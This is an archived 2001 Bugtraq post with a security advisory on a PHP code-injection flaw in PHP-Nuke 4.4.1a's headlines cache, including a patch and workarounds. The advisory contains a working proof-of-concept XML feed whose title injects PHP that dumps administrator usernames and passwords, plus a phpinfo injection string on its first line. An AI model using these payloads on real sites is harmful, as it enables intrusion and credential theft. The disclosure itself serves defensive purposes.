[19813] in bugtraq

home help back first fref pref prev next nref lref last post

Relative Vulnerability in Phpnuke XML parser

daemon@ATHENA.MIT.EDU (tobozo)
Fri Mar 23 16:28:52 2001

MIME-Version: 1.0
Content-Type: multipart/mixed;
              boundary="----=_NextPart_000_0114_01C0B3A3.C716DF60"
Message-ID:  <011701c0b3a3$c8426710$0100a8c0@sulphor>
Date:         Fri, 23 Mar 2001 14:15:56 -0000
Reply-To: tobozo <tobozo@IOL.IE>
From: tobozo <tobozo@IOL.IE>
To: BUGTRAQ@SECURITYFOCUS.COM

This is a multi-part message in MIME format.

------=_NextPart_000_0114_01C0B3A3.C716DF60
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit

Hi

Dunno if I respected the format or if this is the correct list, but there it
is another security bulletin for phpNuke (owned by mandrakesoft is it?)


enjoy

tbz

------=_NextPart_000_0114_01C0B3A3.C716DF60
Content-Type: application/octet-stream;
	name="xxxxxxxxxxxx.adv.en"
Content-Transfer-Encoding: quoted-printable
Content-Disposition: attachment;
	filename="xxxxxxxxxxxx.adv.en"

\";phpinfo();//=0A=
=0A=
=0A=
The title of this article could have phpNuke's parser acting strange if =
inserted=0A=
as is in the backend xml file called every hour.=0A=
=0A=
=0A=
                                   sAvAte inc.=0A=
                            Serial Savate System=0A=
=0A=
<[( advisory )]>---------------------------------------<[(  =
xxxxxxxxxxxx.adv.en=0A=
=0A=
Program: PHPNUKE=0A=
Homepage: http://www.phpnuke.org=0A=
Author Contacte: 22/mar/2001=0A=
Answer: ??/??/??=0A=
Patch : ??/??/??=0A=
Version tested: 4.4.1a=0A=
Found by : tobozo=0A=
=0A=
=0A=
- Problem description:=0A=
  ~~~~~~~~~~~~~~~~~~~~=0A=
=0A=
The method used by phpnuke to parse and update the cache is unsecure. By =
building some php code=0A=
directly in a cache file, it gives the possibility to send and run =
arbitrary code to a person controlling the backend that is used to feed =
this parser.=0A=
By including this file to build the index page, the code is not =
displayed but executed.=0A=
The operation is performed by declaring a variable (stands on one single =
line) :=0A=
<?php $boxstuff .=3D "<li><A =
HREF=3D\"http://stuff.com/article?story_id=3D36\" >Title</A><BR>"; ?>=0A=
=0A=
This problem has two causes :=0A=
=0A=
fputs($fpwrite, "<?php \$boxstuff .=3D \"$separ<A HREF=3D\\\"$link\\\" =
TARGET=3D$target>$title</A><BR>\"; ?>\n");=0A=
=0A=
1) No parsing is really done to check integrity of the xml code, neither =
the content of the title and link tags.=0A=
=0A=
2) The cache file is included instead of being simply echoed=0A=
    if (file_exists($cache_file)) {=0A=
         include($cache_file);=0A=
         }=0A=
=0A=
=0A=
- Impact:=0A=
  ~~~~~~~=0A=
=0A=
1) it is possible by forging a xml file to execute arbitrary php code on =
the index page, having all the session variables fully available (get, =
post, cookie, database access r/w)=0A=
=0A=
2) it is possible using the arbitrary code to display the result of the =
execution and therefore interact directly with the content of the index =
page.=0A=
=0A=
=0A=
- Exploit:=0A=
  ~~~~~~~~=0A=
=0A=
Logged in as admin, in the HeadLine section, if a given xml file =
http://remoteserver/badxmlfil.xml is modified in a way that matches the =
expected format (fields title and link), it must be preceeded by the =
characters \"; and located between title or link tags.=0A=
The addslashed php code given after will be pushed then parsed by the =
phpnuke Headlines function, whatever is after the characters \";=0A=
=0A=
Here is an example of forged bad xml that lists usernames/passwords :=0A=
<?xml version=3D"1.0"?>=0A=
<channel>=0A=
<description>PHPNukePass Vulnerability </description>=0A=
<language>en-us</language>=0A=
<title>PHPNuke : show me your pass. Brought to you by tobozo@biosys.net=0A=
</title>=0A=
<link>http://www.phpnuke.org/</link>=0A=
<image>=0A=
 <title>Phpnuke naked</title>=0A=
 <url>http://www.phpnuke.org/topics/topic.gif</url>=0A=
 <width>160</width>=0A=
 <height>59</height>=0A=
 <description>Naked</description>=0A=
</image>=0A=
<item>=0A=
 <title>\";$result=3Dmysql_query('select aid, pwd from authors');echo =
'Pass List !!!<br>';while(list($user, $pass)=3Dmysql_fetch_row($result)) =
echo 'User : <B>'.$user.'</B> Pass : <B> '.$pass.'</B><br>';#;//</title>=0A=
 <link></link>=0A=
</item>=0A=
<item>=0A=
</channel>=0A=
</rss>=0A=
=0A=
=0A=
=0A=
When parsed by phpnuke HeadLines system, the cache file will be updated =
with the=0A=
following content (still stands on one line) :=0A=
=0A=
<?php $boxstuff .=3D "<li><A HREF=3D\"\" =
TARGET=3Dnew>\";$result=3Dmysql_query(\"select aid, pwd from =
authors\");while(list($user, $pass)=3Dmysql_fetch_row($result)) echo =
\\"User : $user - Pass : $pass<Br>\\";#;//</A><BR>"; ?> <?php $boxstuff =
.=3D "<li><A HREF=3D\"</rss>\" TARGET=3Dnew></channel></A><BR>";?>=0A=
=0A=
And executed on the index page, making available to everybody the list =
of usernames and passwords.=0A=
=0A=
=0A=
=0A=
=0A=
=0A=
Fix : =0A=
~~~~~=0A=
=0A=
In the mainfile.php update the Headline function with the following =
content : =0A=
=0A=
function headlines() {=0A=
    $result =3D mysql_query("select sitename, url, headlinesurl from =
headlines where status=3D1");=0A=
    while (list($sitename, $url, $headlinesurl) =3D =
mysql_fetch_row($result)) {=0A=
    $boxtitle   =3D       "$sitename";=0A=
    $separ      =3D       "<li>";=0A=
    $cache_file =3D       "cache/$sitename.cache";=0A=
    $cache_time =3D       3600;=0A=
    $max_items  =3D       10;=0A=
    $target     =3D       "new";=0A=
    $items      =3D       0;=0A=
    $time       =3D       split(" ", microtime());=0A=
    srand((double)microtime()*1000000);=0A=
    $cache_time_rnd     =3D       300 - rand(0, 600);=0A=
    if ( (!(file_exists($cache_file))) || ((filectime($cache_file) + =
$cache_time - $time[1]) + $cache_time_rnd < 0) || =
(!(filesize($cache_file))) ) {=0A=
        $fpread =3D fopen($headlinesurl, 'r');=0A=
        if(!$fpread) {=0A=
        } else {=0A=
            $fpwrite =3D fopen($cache_file, 'w');=0A=
                if(!$fpwrite) {=0A=
                } else {=0A=
                    while(! feof($fpread) ) {=0A=
                        $buffer =3D ltrim(Chop(fgets($fpread, 256)));=0A=
                        if (($buffer =3D=3D "<item>") && ($items < =
$max_items)) {=0A=
                            $title =3D ltrim(Chop(fgets($fpread, 256)));=0A=
                            $link =3D ltrim(Chop(fgets($fpread, 256)));=0A=
                            $title =3D ereg_replace( "<title>", "", =
$title );=0A=
                            $title =3D ereg_replace( "</title>", "", =
$title );=0A=
                            $title =3D ereg_replace( "\"", "\\\"", =
$title );=0A=
                            $link =3D ereg_replace( "<link>", "", $link =
);=0A=
                            $link =3D ereg_replace( "</link>", "", $link =
);=0A=
                            // fix #1 provided by =
tobozo@users.sourceforge.net 23-mar-2001=0A=
                            fputs($fpwrite, "$separ<A HREF=3D'$link' =
TARGET=3D$target>$title</A><BR>\n");=0A=
                            $items++;=0A=
                        }=0A=
                    }=0A=
                }=0A=
            fclose($fpread);=0A=
            }=0A=
        fclose($fpwrite);=0A=
        }=0A=
   // fix #2 provided by tobozo@users.sourceforge.net 23-mar-2001=0A=
   if (isset($cache_file) && file_exists($cache_file)) {=0A=
      $myfile=3Dfile($cache_file);=0A=
      $mylines=3Dcount($myfile);=0A=
      for($index=3D0;$index<$mylines;$index++) {=0A=
         $ticker.=3D$myfile[$index];=0A=
         }=0A=
      }=0A=
   $ticker .=3D "<DIV align=3Dright><a href=3D\"$url\" =
target=3Dblank><b>read more...</b></a></DIV>";=0A=
   themesidebox($boxtitle, $ticker);=0A=
   $ticker =3D "";=0A=
   }=0A=
  }=0A=
=0A=
=0A=
=0A=
=0A=
=0A=
- Workaround :=0A=
  ~~~~~~~~~~~~=0A=
=0A=
1) use a real xml parser for phpnuke (php functions or xml.php class)=0A=
2) store passwords as md5 on the database=0A=
3) install phpslash=0A=
=0A=
=0A=
- Code:=0A=
  ~~~~~=0A=
Tested on http://www.securix.org (successfully)=0A=
=0A=
- Contact us:=0A=
  ~~~~~~~~~~~=0A=
http://madchat.sourceforge.net=0A=
=0A=
tobozo@users.sourceforge.net=0A=
=0A=
- Greetings:=0A=
  ~~~~~~~=0A=
=0A=
Yannick, Hertz, The phpSlash Team, Hideo, Eberkut, Gard, madteam=0A=
=0A=
[EOF]=0A=

------=_NextPart_000_0114_01C0B3A3.C716DF60--

home help back first fref pref prev next nref lref last post